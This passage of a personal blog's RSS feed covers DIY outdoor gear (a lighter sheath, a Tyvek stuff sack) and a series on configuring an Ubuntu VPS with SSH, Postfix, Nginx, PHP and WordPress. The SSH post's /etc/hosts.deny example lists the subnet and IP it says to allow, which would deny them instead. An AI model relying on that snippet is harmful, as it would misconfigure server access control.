			<content:encoded><![CDATA[<p>Here&#8217;s a neat trick I picked up from <a href="http://www.youtube.com/watch?v=6hQM8ahtMcY">Dusty&#8217;s YouTube video</a>. In the video, he shows how to use a couple of old bicycle inner-tubes to make a semi-waterproof pouch for a BIC lighter. That didn&#8217;t appeal to me too much: I always carry a BIC in my pocket and his idea added to much bulk for my liking. But, at the end of the video, he cut a smaller piece of inner-tube to make a sort of sheath for the lighter.</p>
<p>I thought that was a great idea. It gives you a nice, rubberized grip for the BIC and provides a simple way of always carrying waterproof tinder.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4141947730/" title="Rubberized BIC Lighter by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2485/4141947730_2106af8c48.jpg" width="375" height="500" alt="Rubberized BIC Lighter" /></a></p>
<p>I&#8217;ve now cut off pieces from a 700&#215;35 bicycle inner-tube and made this modification to all my lighters.</p>
]]></content:encoded>
			<wfw:commentRss>http://pig-monkey.com/2009/11/28/rubberized-bic-lighter/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>DIY Tyvek Stuff Sack</title>
		<link>http://pig-monkey.com/2009/06/22/diy-tyvek-stuff-sack/</link>
		<comments>http://pig-monkey.com/2009/06/22/diy-tyvek-stuff-sack/#comments</comments>
		<pubDate>Tue, 23 Jun 2009 04:05:12 +0000</pubDate>
		<dc:creator>Pig Monkey</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[gear]]></category>
		<category><![CDATA[howto]]></category>

		<guid isPermaLink="false">http://pig-monkey.com/?p=1702</guid>
		<description><![CDATA[(A new version of this tutorial has appeared on ITS Tactical, detailing my updated construction method. The following is outdated, but left for posterity.) Tyvek is a synthetic material made by DuPont, most regularly used at construction sites for wrapping house frames. It is a rather strong material and fairly waterproof. It is so ubiqitous <a href="http://pig-monkey.com/2009/06/22/diy-tyvek-stuff-sack/">[...]</a>]]></description>
			<content:encoded><![CDATA[<p class="added">(A new version of this tutorial has <a href="http://www.itstactical.com/2010/03/17/diy-tyvek-stuff-sacks/">appeared on ITS Tactical</a>, detailing my updated construction method. The following is outdated, but left for posterity.)</p>
<p><a href="http://en.wikipedia.org/wiki/Tyvek">Tyvek</a> is a synthetic material made by DuPont, most regularly used at construction sites for wrapping house frames. It is a rather strong material and fairly waterproof. It is so ubiqitous in industrial usage as to be freely available to the intrepid individual. Partly because of this, Tyvek is popular among many lightweight travelers for use as a cheap, lightweight, and effective groundcloth for a tarp shelter.</p>
<p>The United States Postal Service&#8217;s Priority Mail envelopes are also made out of the material. A few months ago I saw a picture of one of these envelopes in use as a stuff sack. I thought it was a great idea and decided to make my own. I&#8217;ve since made two of them. It&#8217;s a very simple process.</p>
<p><span id="more-1702"></span></p>
<p><a href="http://www.flickr.com/photos/pigmonkey/3652264681/" title="The Supplies by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2432/3652264681_7cb27d13ef.jpg" width="500" height="375" alt="The Supplies" /></a></p>
<p>You need only a few items for the project: a USPS Priority Mail envelope, a needle and thread (from the repair kit in your <a href="http://pig-monkey.com/2009/06/07/possibles-pouch/">trusty possibles pouch</a>, no doubt), a bit of cord, a cordlock, and a sharp object. You could make the needed cuts with a knife, but scissors are a bit easier. I use the pair on my Leatherman Juice S2, which has replaced the Charge ALX as my daily carry.</p>
<p>The envelope can be new or used. Any post office will have new envelopes available in the lobby, free for the taking. Still, I would feel a little guilty about taking a brand new envelope just for this purpose. There&#8217;s plenty enough used envelopes floating around, and it seems a waste to steal a brand new one. I lucked out in that recently someone sent me a package in a box, but, within the box, used the pictured envelope to organize the goods. So the envelope is used, but brand new.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/3653071086/" title="Federal Offense by Pig Monkey, on Flickr"><img src="http://farm4.static.flickr.com/3615/3653071086_125dddb6b8.jpg" width="500" height="375" alt="Federal Offense" /></a></p>
<p>This project also warrants a disclaimer: Priority Mail envelopes, whether new or used, are <em>property of the United States Postal Service</em>. They are intended solely for the use of the postal system and, contrary to logic, just because somebody paid to mail you a package in one doesn&#8217;t make it yours (or theirs). So repurposing the envelope in this way is probably a federal offense. Law abiding citizens should immediately navigate away from this page and return to their cells. The rest of us can move on.</p>
<p>The first step in the process is to <a href="http://www.flickr.com/photos/pigmonkey/3653062264/in/set-72157620193065231/">cut a little square in one corner of the open end of the envelope</a>. No need to measure. Just eyeball whatever looks good. The height of the square will determine the size of the channel which we will sew and then pass the cord through (this one happened to be about 1.5mm).</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/3652266641/" title="The Corner by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2483/3652266641_ecb5867995.jpg" width="500" height="375" alt="The Corner" /></a></p>
<p>If you are using a brand new envelope, you&#8217;ll want to cut the top bit with the sticky stuff off, so that both sides of the envelope are the same height. On a used envelope, you might have to do some trimming to achieve the same thing, depending on how you opened the envelope.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/3652268055/" title="The Fold by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2470/3652268055_f272d12041.jpg" width="375" height="500" alt="The Fold" /></a></p>
<p>After the square is cut, fold down the rim of the envelope all the way around, using the height of the square to determine how much is folded. If you want, you can cut a slit in the other corner of the envelope to help fold it down. I did this on the first stuff sack. For this one, I chose not to. There&#8217;s a slight bit of bunching in that corner as a result, but it&#8217;s fine.</p>
<p>Now that you have the top flap folded down all along the top of the envelope, sew it shut. This creates a channel which we may then thread a bit of cord through, using it to cinch the sack shut.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/3653065960/" title="The First Stitch by Pig Monkey, on Flickr"><img src="http://farm4.static.flickr.com/3373/3653065960_d768a18e18.jpg" width="500" height="375" alt="The First Stitch" /></a></p>
<p>I start my stitching on the inside of the envelope, poke the needle through, and pull all the thread through except for a tag of about 3&#8243;. Then I poke the needle back through in another hole, pull all the thread through back to the inside, and use the tag end of the thread to tie a square knot, thus securing my first stitch.</p>
<p>After that, <a href="http://www.flickr.com/photos/pigmonkey/3652270255/in/set-72157620193065231/">stitch your way around</a> till the channel is sewn shut and <a href="http://www.flickr.com/photos/pigmonkey/3652271297/in/set-72157620193065231/">tie off the end of the thread in whatever way you see fit</a>. I&#8217;m a pretty poor sewer and am physically and mentally challenged when it comes to knots, which always makes for an interesting end to my stitches.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/3653069638/" title="The Finished Stitching by Pig Monkey, on Flickr"><img src="http://farm4.static.flickr.com/3643/3653069638_11235e18a2.jpg" width="500" height="375" alt="The Finished Stitching" /></a></p>
<p>With the sewing done, now would be a good time for the camera battery to die. Curse a little, perhaps shed a tear, then decide that your audience is intelligent enough to struggle through the next steps without pictures.</p>
<p>For this stuff sack, I used ALSE survival vest cord, also known as accessory cord or <a href="http://en.wikipedia.org/wiki/Parachute_cord#Types">Type I paracord</a>. This stuff has a breaking strength of 100 lbs, is 1/16 of an inch in diameter, and tips the scale at 1oz per 50 feet. Pick it up at <a href="http://www.supplycaptain.com/index.cfm?fuseaction=product.display&#038;product_ID=74&#038;ParentCat=21">Supply Captain</a>. You could use any cord you happen to have, including the standard (Type III) 550 paracord, but I don&#8217;t think the cord on this little stuff sack needs to have a breaking strength of 550lbs and Type III paracord is much, much heaver than Type I. We&#8217;re trying to go lightweight here.</p>
<p>If you don&#8217;t have any cordlocks lying around, these can also <a href="http://www.supplycaptain.com/index.cfm?fuseaction=product.display&#038;product_ID=18">be got from the Captain</a>.</p>
<p>Threading the cord through the channel can require a little perseverance. I usually tie a knot in one end, stick it in, and then use the knot to push the cord along with my fingers from the outside. If need be, you can shove a skinny stick or something in there to help it along.</p>
<p>When the cord comes out the other side, all that&#8217;s left is to cut it to length, slide the cordlock over both ends, tie some sort of knot so that the cordlock can&#8217;t be inadvertently slide off the cord, and you&#8217;re done!</p>
<p>The resulting stuff sack is durable, lightweight, and free (or close to it, depending on what materials you have in your craft box). Though you&#8217;re obviously not going to get a water-tight seal by cinching the sack closed, the Tyvek material itself is waterproof and will suffice to keep your gear organized and dry in any pack. If water crossings and momentary submersion is a concern, use a trash bag as a liner in your pack and you will be very well off for almost no cost in weight or money.</p>
<p>Lighter, stronger, more waterproof, and better constructed stuff sacks can of course be purchased, but for an exponentially higher price. I have nice stuff sacks for my sleeping bag and spare clothes, so, for the time being, this Tyvek stuff sack is used for my food.</p>
<h2>March 2010 Update:</h2>
<p>Check out the <a href="http://www.itstactical.com/2010/03/17/diy-tyvek-stuff-sacks/">new version of this tutorial on ITS Tactical</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://pig-monkey.com/2009/06/22/diy-tyvek-stuff-sack/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Thoughts on SSH Security</title>
		<link>http://pig-monkey.com/2008/10/03/thoughts-on-ssh-security/</link>
		<comments>http://pig-monkey.com/2008/10/03/thoughts-on-ssh-security/#comments</comments>
		<pubDate>Fri, 03 Oct 2008 21:03:55 +0000</pubDate>
		<dc:creator>Pig Monkey</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[slicehost]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[vps]]></category>

		<guid isPermaLink="false">http://pig-monkey.com/?p=1442</guid>
		<description><![CDATA[OpenSSH has a history of security. Only rarely are holes found in the actual program. It&#8217;s much more likely that a system will be compromised through poor configuration of the SSH daemon. Ideally, an SSH config would allow only protocol 2 connections, allow only specified users to connect (and certainly not root), disable X11 forwarding, <a href="http://pig-monkey.com/2008/10/03/thoughts-on-ssh-security/">[...]</a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.openssh.com/">OpenSSH</a> has a history of security. Only rarely are holes found in the actual program. It&#8217;s much more likely that a system will be compromised through poor configuration of the SSH daemon. Ideally, an SSH config would allow only protocol 2 connections, allow only specified users to connect (and certainly not root), disable X11 forwarding, disable password authentication (forcing ssh keys instead), and allowing connections only from specified IPs. These config options would look like this:<br />
<pre>
Protocol 2
PermitRootLogin no
AllowUsers demo
X11Forwarding no
PasswordAuthentication no
</pre></p>
<p>Allowing connections from only specified IP addresses would be accomplished by adding something like the following to <code>/etc/hosts.deny</code>:<br />
<pre>
sshd: ALL # Deny all by default
sshd: 192.168.1.0/255.255.255.0 # Allow this subnet
sshd: 4.2.2.1 # Allow this IP
</pre><br />
(You could also accomplish this with iptables, but I think editing the above file is simpler.)</p>
<p>But the last two options (disabling password auth and allowing only certain IP addresses) limits mobility. I constantly login to my <a href="http://pig-monkey.com/2008/06/09/a-move-to-slicehost/">slice</a> from multiple IPs, and I also need to login during travel when I may or may not have my key on me.</p>
<p>The main thing these two options protect against is a brute force attack. By allowing password logins from any IP, we give the attacker the ability to exploit the weakest part of SSH. This is where <a href="http://denyhosts.sourceforge.net/">DenyHosts</a> comes in.</p>
<p>DenyHosts is a python script which attempts to recognize and block brute force attacks. It has many attractive <a href="http://denyhosts.sourceforge.net/features.html">features</a> and is included in the default Ubuntu repositories.</p>
<p><pre>
$ sudo aptitude install denyhosts
</pre></p>
<p>The config file is located at <code>/etc/denyhosts.conf</code>. It is very simply and readable. I recommend reading through it, but most of the default options are acceptable. If any changes are made, the daemon must be restarted:<br />
<pre>
$ sudo /etc/init.d/denyhosts restart
</pre></p>
<p><em>Note: Many people also advocating changing SSH&#8217;s default port to something other than 22 (more specifically, something over 1024, which won&#8217;t be scanned by default by <a href="http://nmap.org/">nmap</a>). The argument in support of this is that many automated attack scripts look for SSH only on port 22. By changing the port, you save yourself the headache of dealing with script kiddies. Opponents to changing the port would argue that the annoyance of having to specify the port number whenever using <code>ssh</code> or <code>scp</code> outweighs the minute security benefits. It&#8217;s a heated argument. I lean toward leaving SSH on the default port.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://pig-monkey.com/2008/10/03/thoughts-on-ssh-security/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>An Ubuntu VPS on Slicehost: WordPress</title>
		<link>http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-wordpress/</link>
		<comments>http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-wordpress/#comments</comments>
		<pubDate>Tue, 10 Jun 2008 20:04:50 +0000</pubDate>
		<dc:creator>Pig Monkey</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[slicehost]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[vps]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.pig-monkey.com/?p=1412</guid>
		<description><![CDATA[As mentioned previously, I&#8217;ve recently moved this domain over to Slicehost. What follows is Part Four of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also Part One, Part Two, and Part Three. I prefer to install WordPress via Subversion, which makes updating easier. We&#8217;ll have to install Subversion <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-wordpress/">[...]</a>]]></description>
			<content:encoded><![CDATA[<p><em>As <a href="http://pig-monkey.com/2008/06/09/a-move-to-slicehost/">mentioned previously</a>, I&#8217;ve recently moved this domain over to <a href="http://www.slicehost.com/">Slicehost</a>. What follows is Part Four of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup">Part One</a>, <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server">Part Two</a>, and <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-mail">Part Three</a>.</em></p>
<p>I prefer to install <a href="http://wordpress.org/">WordPress</a> via Subversion, which makes updating easier. We&#8217;ll have to install Subversion on the server first:<br />
<pre>
$ sudo aptitude install subversion
</pre></p>
<p><span id="more-1412"></span></p>
<p>After that, <a href="http://codex.wordpress.org/Installing/Updating_WordPress_with_Subversion#New_Install_2">the WordPress Codex has a guide to the rest of the install</a>.</p>
<p>Nothing further is needed, unless you want fancy rewrites. In that case, we&#8217;ll have to make a change to your Nginx vhost config at <code>/etc/nginx/sites-available/mydomain.com</code>. Add the following to your server block under <code>location / {</code>:<br />
<pre>
# wordpress fancy rewrites
&nbsp;&nbsp;if (-f $request_filename) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (-d $request_filename) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rewrite ^(.+)$ /index.php?q=$1 last;
</pre></p>
<p>While we&#8217;re here, I usually tell Nginx to cache static files by adding the following right above the <code>location / {</code> block:<br />
<pre>
# serve static files directly
location ~* ^.+\.(jpg|jpeg|gif|png|ico|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|css)$ {
&nbsp;&nbsp;&nbsp;&nbsp;root&nbsp;&nbsp;/home/user/public_html/mydomain.com/public;
&nbsp;&nbsp;&nbsp;&nbsp;expires 7d;
&nbsp;&nbsp;&nbsp;&nbsp;break;
}
</pre></p>
<p>That&#8217;ll go in the https server section, too. Now, enable rewrites in your WordPress config. I use the following &#8220;custom&#8221; structure:<br />
<pre>
/%year%/%monthnum%/%day%/%postname%/
</pre></p>
<p>Then, restart Nginx:</p>
<p><pre>
$ sudo /etc/init.d/nginx restart
</pre></p>
<p>And there you have it! You know have a working, new web server and mail server.</p>
<p>(Previously, we did a <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup">basic setup</a>, <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server">installed a web server</a>, and <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-mail">installed a mail server</a>.)</p>
]]></content:encoded>
			<wfw:commentRss>http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-wordpress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>An Ubuntu VPS on Slicehost: Mail</title>
		<link>http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-mail/</link>
		<comments>http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-mail/#comments</comments>
		<pubDate>Tue, 10 Jun 2008 19:04:36 +0000</pubDate>
		<dc:creator>Pig Monkey</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[google apps]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[postfix]]></category>
		<category><![CDATA[slicehost]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[vps]]></category>

		<guid isPermaLink="false">http://www.pig-monkey.com/?p=1413</guid>
		<description><![CDATA[As mentioned previously, I&#8217;ve recently moved this domain over to Slicehost. What follows is Part Three of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also Part One, Part Two, and Part Four. Last week I moved this domain&#8217;s email to Google Apps. Slicehost has a guide to creating <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-mail/">[...]</a>]]></description>
			<content:encoded><![CDATA[<p><em>As <a href="http://pig-monkey.com/2008/06/09/a-move-to-slicehost/">mentioned previously</a>, I&#8217;ve recently moved this domain over to <a href="http://www.slicehost.com/">Slicehost</a>. What follows is Part Three of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup">Part One</a>, <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server">Part Two</a>, and <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-wordpress">Part Four</a>.</em></p>
<p>Last week I <a href="http://pig-monkey.com/2008/06/09/google-apps/">moved this domain&#8217;s email to Google Apps</a>. Slicehost has <a href="http://articles.slicehost.com/2007/10/25/creating-mx-records-for-google-apps">a guide to creating MX records for Google Apps</a>. I have a couple other domains with Google Apps, along with a couple domains hosted locally with addresses that simply forward to my primary, Google hosted, email. I also need to send mail from the server. To accomplish all of this, I use <a href="http://www.postfix.org/">Postfix</a>.</p>
<p><span id="more-1413"></span></p>
<p>Installing Postfix is a simple matter. Telnet is used quite a bit for testing, so I install that too:<br />
<pre>
$ sudo aptitude install postfix telnet
</pre></p>
<p>The Postfix setup will ask how it should be installed &#8212; we want the &#8220;Internet Site&#8221; option &#8212; and then ask you for your fully qualified domain name.</p>
<p>Done? Let&#8217;s make sure Postfix is running:<br />
<pre>
$ telnet localhost 25
</pre></p>
<p>If it&#8217;s working Postfix should return:<br />
<pre>
Trying 127.0.0.1...
Connected to localhost.
Escape character is &#039;^]&#039;.
220 localhost ESMTP Postfix (Ubuntu)
</pre></p>
<p>Let&#8217;s send a test message from root to the user account <code>user</code> (replace that with whatever your standard user is):<br />
<pre>
ehlo localhost
mail from: root@localhost
rcpt to: user@localhost
data
Subject: Test

Hi, is this thing on?

.
quit 
</pre></p>
<p>Now, check your email as <code>user</code> by running <code>mail</code>. See the message? Good.</p>
<p>Open <code>/etc/postfix/main.cf</code> to make sure that Postfix knows what domains it&#8217;s receiving mail for. To do this, edit the <code>mydestination</code> variable to include all the proper domains. For me, the name of my server looks like server.mydomain.com. I want Postfix to accept mail for that domain, but not for mydomain.com (since that&#8217;s being handled by Google Apps), so mine looks like:<br />
<pre>
mydestination = server.mydomain.com, localhost.mydomain.com , localhost
</pre></p>
<p>Restart Postfix if you made any changes:<br />
<pre>
$ sudo /etc/init.d/postfix restart
</pre></p>
<p>Right. Now let&#8217;s send another test. Notice this time we&#8217;re using full domain names, instead of localhost:<br />
<pre>
$ telnet server.mydomain.com 25
ehlo server.mydomain.com
mail from: root@server.mydomain.com
rcpt to: user@server.mydomain.com
data
Subject: domains!
woot... I think this works.
.
quit
</pre></p>
<p>Working? Good.</p>
<p>Let&#8217;s test from the outside. The first step is to open up the correct ports in the firewall. Assuming you have iptables configured in the way the <a href="http://articles.slicehost.com/2007/11/6/ubuntu-gutsy-setup-page-1">Slicehost article suggests</a>, open up your <code>/etc/iptables.test.rules</code> and add the following:<br />
<pre>
# Allow mail server connections
## SMTP
-A INPUT -p tcp -m state --state NEW --dport 25 -j ACCEPT 
</pre></p>
<p>Now let&#8217;s apply the rules:<br />
<pre>
$ sudo iptables-restore &lt; /etc/iptables.test.rules
</pre></p>
<p>Make sure everything looks dandy:
</pre>
<p><pre>
$ sudo iptables -L
</pre></p>
<p>If it meets your fancy, save the rules:<br />
<pre>
$ sudo -i
$ iptables-save &gt; /etc/iptables.up.rules
</pre></p>
<p>And now, from your local computer, let's test it out.<br />
<pre>
$ telnet server.mydomain.com 25
ehlo server.mydomain.com
mail from: root@server.mydomain.com
rcpt to: user@server.mydomain.com
data
Subject: remote connection test
Hello, you.
.
quit
</pre></p>
<p>Now check your mail on the mail server as before. Once again, everything should be working.</p>
<p>Now we need to setup a virtual domain. Remember, I don't want any virtual users. I only want aliases at a virtual domain to forward to my primary email address. That makes this relatively simple. (Be very, very happy. You should have seen this guide before, when I was still hosting virtual domains with virtual users!) Open up <code>/etc/postfix/main.cf</code> and add the following:<br />
<pre>
virtual_alias_domains = myvirtualdomain.com
virtual_alias_maps = hash:/etc/postfix/virtual
</pre></p>
<p>Create the <code>/etc/postfix/virtual</code> file referenced above and add the aliases:<br />
<pre>
alias@myvirtualdomain.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; user@mydomain.com
</pre></p>
<p>Turn it into a database:<br />
<pre>
$ cd /etc/postfix
$ sudo postmap virtual
</pre></p>
<p>Restart Postfix:<br />
<pre>
$ sudo /etc/init.d/postfix restart
</pre></p>
<p>Attempt to send an email to the new alias at the virtual domain:<br />
<pre>
$ telnet server.mydomain.com 25
ehlo server.mydomain.com
mail from: root@server.mydomain.com
rcpt to: alias@myvirtualdomain.com
data
Subject: virtual domain test
I hope this works!
.
quit
</pre></p>
<p>The message should now be in your primary email inbox!</p>
<p>As long as we're setting up forwards, let's forward system account mail to somewhere where it'll actually get read. To do so, create a <code>~/.forward</code> file with the following contents:<br />
<pre>
user@mydomain.com
</pre></p>
<p>Let's also create a <code>/root/.forward</code>, so that roots mail gets forwarded to my local account (where it is then forwarded to my primary email). Root's forward would simply read:<br />
<pre>
user
</pre></p>
<p>Next up: <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-wordpress">install WordPress with rewrites</a>. (Previously, we did a <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup">basic setup</a> and <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server">installed a web server</a>.)</p>
]]></content:encoded>
			<wfw:commentRss>http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-mail/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>An Ubuntu VPS on Slicehost: Web Server</title>
		<link>http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server/</link>
		<comments>http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server/#comments</comments>
		<pubDate>Tue, 10 Jun 2008 19:04:22 +0000</pubDate>
		<dc:creator>Pig Monkey</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[slicehost]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[vps]]></category>

		<guid isPermaLink="false">http://www.pig-monkey.com/?p=1409</guid>
		<description><![CDATA[As mentioned previously, I&#8217;ve recently moved this domain over to Slicehost. What follows is Part Two of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also Part One, Part Three, Part Four. Now we&#8217;ve got a properly configured, but idle, box. Let&#8217;s do something with it. Nginx is a <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server/">[...]</a>]]></description>
			<content:encoded><![CDATA[<p><em>As <a href="http://pig-monkey.com/2008/06/09/a-move-to-slicehost/">mentioned previously</a>, I&#8217;ve recently moved this domain over to <a href="http://www.slicehost.com/">Slicehost</a>. What follows is Part Two of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup">Part One</a>, <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-mail">Part Three</a>, <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-wordpress">Part Four</a>.</em></p>
<p>Now we&#8217;ve got a properly configured, but idle, box. Let&#8217;s do something with it.</p>
<p><a href="http://nginx.net/">Nginx</a> is a small, lightweight web server that&#8217;s all the rage on some small corners of the Net. <a href="http://www.apache.org/">Apache</a> is extremely overkill for a small personal web server like this and, since we&#8217;re limited to 256MB of RAM on this VPS, it quickly becomes a resource hog. <a href="http://www.lighttpd.net/">Lighttpd</a> is another small, lightweight web server, but I&#8217;m a fan of Nginx. Try it out.</p>
<p><span id="more-1409"></span></p>
<p>First, we need to install the web server. Nginx is now in Ubuntu&#8217;s repositories:<br />
<pre>
$ sudo aptitude install nginx
</pre></p>
<p>That&#8217;s all it takes in Hardy, but if you really want a guide for it, <a href="http://articles.slicehost.com/2008/5/13/ubuntu-hardy-installing-nginx-via-aptitude">Slicehost has you covered</a>.</p>
<p>Slicehost has a few more useful guides to Nginx, including introductions to the config layout and how to get started with vhosts:</p>
<ul>
<li><a href="http://articles.slicehost.com/2008/5/15/ubuntu-hardy-nginx-configuration">Nginx configuration</a></li>
<li><a href="http://articles.slicehost.com/2008/5/16/ubuntu-hardy-nginx-virtual-hosts">Nginx Virtual Hosts</a></li>
<li><a href="http://articles.slicehost.com/2008/5/16/ubuntu-hardy-nginx-virtual-host-settings">Nginx virtual host settings</a></li>
</ul>
<p>Next up, we&#8217;ll need to install MySQL and PHP, and get them working with Nginx.</p>
<p>Slicehost has a guide for <a href="http://articles.slicehost.com/2007/11/23/ubuntu-gutsy-mysql-and-ror">installing MySQL and Ruby on Rails</a>, which also includes suggestions on optimizing MySQL. I follow the MySQL part of the guide, stopping at &#8220;Ruby on Rails install&#8221;.</p>
<p>Now MySQL is working, lets install PHP:<br />
<pre>
$ sudo aptitude install php5-common php5-cgi php5-mysql php5-cli
</pre></p>
<p>To get PHP as FastCGI working with Nginx, we first have to spawn the fcgi process. There are a few different ways to do that. Personally, I use the <code>spawn-fci</code> app from <a href="http://www.lighttpd.net/">lighttpd</a>. To use it, we&#8217;ll compile and make lighttpd, but <strong>not</strong> install it. We&#8217;re only after one binary.</p>
<p>Lighttpd has a few extra requirements, so let&#8217;s install those:<br />
<pre>
$ sudo aptitude install libpcre3-dev libbz2-dev 
</pre></p>
<p>Now, download the source and compile lighttpd. Then copy the <code>spawn-fci</code> binary to <code>/usr/bin/</code>:<br />
<pre>
$ wget http://www.lighttpd.net/download/lighttpd-1.4.19.tar.gz
$ tar xvzf lighttpd-1.4.19.tar.gz
$ cd lighttpd-1.4.19
$ ./configure
$ make
$ sudo cp src/spawn-fcgi /usr/bin/spawn-fcgi
</pre></p>
<p>Then, create a script to launch spawn-fci (I call it <code>/usr/bin/php5-fastcgi</code>):<br />
<pre>
#!/bin/sh
/usr/bin/spawn-fcgi -a 127.0.0.1 -p 9000 -u www-data -C 2 -f /usr/bin/php5-cgi
</pre></p>
<p>The script tells spawn-fcgi to launch a fastcgi process, listening on 127.0.01:9000, owned by the web user, with only 2 child processes. You may want more child processes, but I&#8217;ve found 2 to be optimal.</p>
<p>Give the script permissions:<br />
<pre>
$ sudo chmod +x /usr/bin/php5-fastcgi
</pre></p>
<p>I then link the script filename to a version-neutral, err, version:<br />
<pre>
$ sudo ln -s /usr/bin/php5-fastcgi /usr/bin/php-fastcgi
</pre></p>
<p>Now we need an init script to start the process at boot. I use <a href="http://www.howtoforge.com/nginx_php5_fast_cgi_xcache_ubuntu7.04">this one from HowToForge</a>, named <code>/etc/init.d/fastcgi</code>:<br />
<pre>
#!/bin/bash
PHP_SCRIPT=/usr/bin/php-fastcgi
RETVAL=0
case &quot;$1&quot; in
&nbsp;&nbsp;start)
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;Starting fastcgi&quot;
&nbsp;&nbsp;&nbsp;&nbsp;$PHP_SCRIPT
&nbsp;&nbsp;&nbsp;&nbsp;RETVAL=$?
&nbsp;&nbsp;;;
&nbsp;&nbsp;stop)
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;Stopping fastcgi&quot;
&nbsp;&nbsp;&nbsp;&nbsp;killall -9 php5-cgi
&nbsp;&nbsp;&nbsp;&nbsp;RETVAL=$?
&nbsp;&nbsp;;;
&nbsp;&nbsp;restart)
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;Restarting fastcgi&quot;
&nbsp;&nbsp;&nbsp;&nbsp;killall -9 php5-cgi
